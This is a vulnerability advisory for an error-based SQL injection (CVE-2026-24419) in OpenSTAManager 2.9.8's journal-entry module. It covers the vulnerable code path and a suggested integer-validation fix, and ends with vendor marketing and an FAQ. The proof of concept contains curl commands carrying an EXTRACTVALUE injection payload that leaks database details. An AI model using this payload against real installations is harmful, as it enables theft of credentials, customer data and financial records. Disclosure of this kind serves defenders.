Summary
Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameters: id_documenti (GET parameters)
Affected Endpoint: /modules/primanota/add.php
Attack Type: Error-Based SQL Injection (IN clause)
Details
OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
Entry Point:
/modules/primanota/add.php(Lines 63-67)$id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];Impact: The
get()function retrieves user-controlled URL parameters,explode(',', (string) ...)splits them by comma, but NO validation ensures elements are integers.SQL Injection Point:
/modules/primanota/add.php(Line 306)$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];Impact: Array elements from
$id_documentiare directly concatenated usingimplode()without type validation orprepare(), enabling full SQL injection.
Root Cause Analysis:
The vulnerability exists because:
get('id_documenti')return user-controlled stringsexplode(',', (string) $value)splits by comma but doesn't validate typesimplode(',', $array)concatenates array elements directly into SQL- No validation ensures array elements are integers
- Attacker can inject SQL by providing:
?id_documenti=1) AND EXTRACTVALUE(...) %23
Affected Code Path:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
PoC
Step 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Error-Based SQL Injection)
Test 1: Extract Database User and Version
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Response (error message visible to attacker):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
File: /modules/primanota/add.php
BEFORE (Vulnerable - Lines 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
AFTER (Fixed):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Credits
Discovered by Łukasz Rybak
Impact
All authenticated users with access to the Prima Nota (Journal Entry) module.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Primary Fix - Type Validation:
Frequently Asked Questions
- What is CVE-2026-24419? CVE-2026-24419 is a high-severity SQL injection vulnerability in devcode-it/openstamanager (composer), affecting versions <= 2.9.8. No fixed version is listed yet. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- Which versions of devcode-it/openstamanager are affected by CVE-2026-24419? devcode-it/openstamanager (composer) versions <= 2.9.8 is affected.
- Is there a fix for CVE-2026-24419? No fixed version is listed for CVE-2026-24419 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-24419 exploitable, and should I be worried? Whether CVE-2026-24419 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-24419 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-24419? No fixed version is listed yet. In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.